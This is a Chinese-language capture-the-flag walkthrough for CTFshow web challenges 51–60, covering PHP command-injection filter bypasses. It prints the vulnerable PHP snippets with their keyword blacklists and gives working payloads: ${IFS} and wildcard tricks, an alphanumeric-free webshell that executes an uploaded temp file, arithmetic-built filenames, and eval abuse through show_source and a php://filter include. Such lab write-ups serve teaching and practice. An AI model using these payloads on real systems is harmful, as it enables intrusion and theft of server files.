> 文章列表 > 《CTFshow-Web入门》06. Web 51~60

《CTFshow-Web入门》06. Web 51~60

《CTFshow-Web入门》06. Web 51~60

Web 51~60

  • web51
  • web52
    • 知识点
    • 题解
  • web53
    • 知识点
    • 题解
  • web54
    • 知识点
    • 题解
  • web55
    • 知识点
    • 题解
  • web56
    • 知识点
    • 题解
  • web57
    • 知识点
    • 题解
  • web58
    • 知识点
    • 题解
  • web59
    • 题解
  • web60
    • 题解

ctf - web入门

web51

题解

相比上一题多过滤了 tac 命令。那换一个即可。

《CTFshow-Web入门》06. Web 51~60

题解:

url + ?c=nl<fl''ag.php||

web52

知识点

linux适用空格绕过:
<<>、%20(space)、%09(tab)、$IFS$9${IFS}$IFS{cat,/etc/passwd}
%0a(回车)

题解

多过滤了 “ > ” 与 “ < ”。

《CTFshow-Web入门》06. Web 51~60

用 ${IFS} 绕过。

url + ?c=nl${IFS}fla''g.php||

不过这里 flag 并未直接显示。

《CTFshow-Web入门》06. Web 51~60

那就尝试扫一下根目录。

url + ?c=ls${IFS}/||

发现 flag 文件。

《CTFshow-Web入门》06. Web 51~60

得手。

url + ?c=nl${IFS}/fla''g||

《CTFshow-Web入门》06. Web 51~60

web53

知识点

PHP system() 函数:成功则返回命令输出的最后一行,失败则返回 false。

题解

所以这一题沿用之前 payload 即可。

《CTFshow-Web入门》06. Web 51~60

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\\;|cat|flag| |[0-9]|\\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
} 

解:

url + ?c=nl${IFS}fla''g.php

web54

知识点

Linux 的很多命令存放在 /bin/ 目录下,且可以通过绝对路径来使用,而且支持通配符。

cat 命令也可这样使用:/bin/?at

题解

《CTFshow-Web入门》06. Web 51~60

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

这题过滤了很多命令。而且不能用字符拼接。

|.*f.*l.*a.*g.*| 这种过滤就是字母不能按过滤的顺序出现

但了解原理之后也很简单。注意这题没有过滤通配符 “ ? ”。

方法一

url + ?c=/bin/?at${IFS}f???.php

《CTFshow-Web入门》06. Web 51~60

方法二

此题没有过滤 vi 命令。

url + ?c=vi${IFS}f???.php

《CTFshow-Web入门》06. Web 51~60

web55

知识点

  • x09 为 tab键。x26为 “ & ”。
  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
  • Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

题解

《CTFshow-Web入门》06. Web 51~60

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\\;|[a-z]|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
} 

这一题将字母全部过滤了,没有过滤空格和通配符 “ ? ”。

方法一

由于未过滤数字,利用 /bin/ 目录下的 base64 进行通配符匹配。获得 flag.php 文件的 base64 编码。

url + ?c=/???/????64 ????.???

《CTFshow-Web入门》06. Web 51~60

方法二

利用 /usr/bin/ 下的 bzip2 命令,先将 flag.php 文件进行压缩,然后再将其下载。

bzip2 命令压缩后的文件以 “ .bz2 ” 为后缀

压缩文件:

url + ?c=/???/???/????2 ????.???

这时已将 flag.php 压缩为 flag.php.bz2。直接通过 url 访问下载。

url + flag.php.bz2

获得压缩文件解压即可:

《CTFshow-Web入门》06. Web 51~60

方法三
无字母数字webshell

构造一个 post 请求并上传文件。由于没有过滤 “ . ”(点),所以通过执行文件中的 Linux 命令获取 flag。

先创建一个 html 文件,内容如下,url 换成相应网址即可:

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://dc1bfe3e-910b-4ad5-9130-db7f0cd7cca4.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

界面如下:

《CTFshow-Web入门》06. Web 51~60

配置 burpsuit 代理后,随便上传一个文件后提交。

《CTFshow-Web入门》06. Web 51~60

构造poc执行命令:

在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]并在上传文件内容添加sh命令:
#!/bin/sh
pwd

《CTFshow-Web入门》06. Web 51~60

再看一下当前目录有哪些文件:

#!/bin/sh
ls

《CTFshow-Web入门》06. Web 51~60

直接读取:

#!/bin/sh
cat /var/www/html/flag.php

《CTFshow-Web入门》06. Web 51~60

到手。

了解之后,这个方法其实并不难理解。知识 + 1。

web56

知识点

  • Linux 系统下 php 接收上传文件的 post 包,默认会将文件保存在临时文件夹 /tmp/,文件名 phpXXXXXX。
  • Linux 中 .(点)命令,或者叫 period,它的作用和 source 命令一样,就是用当前的 shell 执行一个文件中的命令。
  • ascii 码表中,大写字母位于 “ @ ” 与 “ [ ” 之间。

题解

知道 web55 的第三种解法后,这题也就不难了。

《CTFshow-Web入门》06. Web 51~60

// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\\;|[a-z]|[0-9]|\\\\$|\\(|\\{|\\'|\\"|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}

数字字母全过滤了。“ . ” 没有过滤。

那就用上一题的方法:

构造 post 请求上传文件。

<!--构造一个post上传文件的数据包,这是个上传页面,选择文件上传-->
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://2cf3e5d1-4cba-41f5-bab0-af916511335b.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>

配置 burp 抓包并传递参数与文件内容。

在 burp 拦截中,通过 GET 方式传递:
?c=.+/???/????????[@-[]并在上传文件内容添加sh命令:
#!/bin/sh
ls

《CTFshow-Web入门》06. Web 51~60

直接读取即可:

《CTFshow-Web入门》06. Web 51~60

web57

知识点

Linux Shell 中 $(()) 的用法。相关信息

简单来说,$(()) 用来做数学运算。且 $(()) 的值为 0。

~$(()) 中代表按位取反,即 $((~$(()))) 就是 0 取反,即 -1。

$(($((~$(())))$((~$(()))))) 也就是 $((-1-1)) 为 -2。

题解

看题,过滤了 “ . ” 。得另寻他法。

根据提示知道 flag 在 36.php 中。且只用构造 36 即可。

《CTFshow-Web入门》06. Web 51~60

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\\;|[a-z]|[0-9]|\\`|\\|\\#|\\'|\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\>|\\<|\\.|\\,|\\?|\\*|\\-|\\=|\\[/i", $c)){system("cat ".$c.".php");}
}else{highlight_file(__FILE__);
} 

那就使用 $(()) 运算来构造了。。

url + ?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

《CTFshow-Web入门》06. Web 51~60

大开眼界(物理)。

web58

知识点

php eval() 函数,把字符串作为 PHP 代码执行。

题解

注意这题使用的是 POST 请求。

《CTFshow-Web入门》06. Web 51~60

可以使用 hackbar,比较方便。也可以使用 burpSuite 抓包后转换请求方法。
做题时 hackbar 抽风了,所以这里使用 burp。

传递 c=system('ls');
发现 system() 函数被禁用了。

《CTFshow-Web入门》06. Web 51~60

那就用其他函数。

c=show_source('flag.php');c=highlight_file("flag.php");

《CTFshow-Web入门》06. Web 51~60

除此以外从其他师傅处了解到还可用伪协议

解法二

c=include "php://filter/read=convert.base64-encode/resource=flag.php";

得到 flag 的 base64 编码。

web59

题解

题目与上一题没什么两样。

《CTFshow-Web入门》06. Web 51~60

尝试了一下,使用 show_source() 函数得到了 flag。

c=show_source('flag.php');

《CTFshow-Web入门》06. Web 51~60

当然伪协议也可。方法同 web58。

web60

与 web59 一样。没啥好说的了。

题解

《CTFshow-Web入门》06. Web 51~60

方法

c=show_source('flag.php');

满堂唯有烛花红,杯且从容,歌且从容。

——《一剪梅 · 中秋无月》(宋)辛弃疾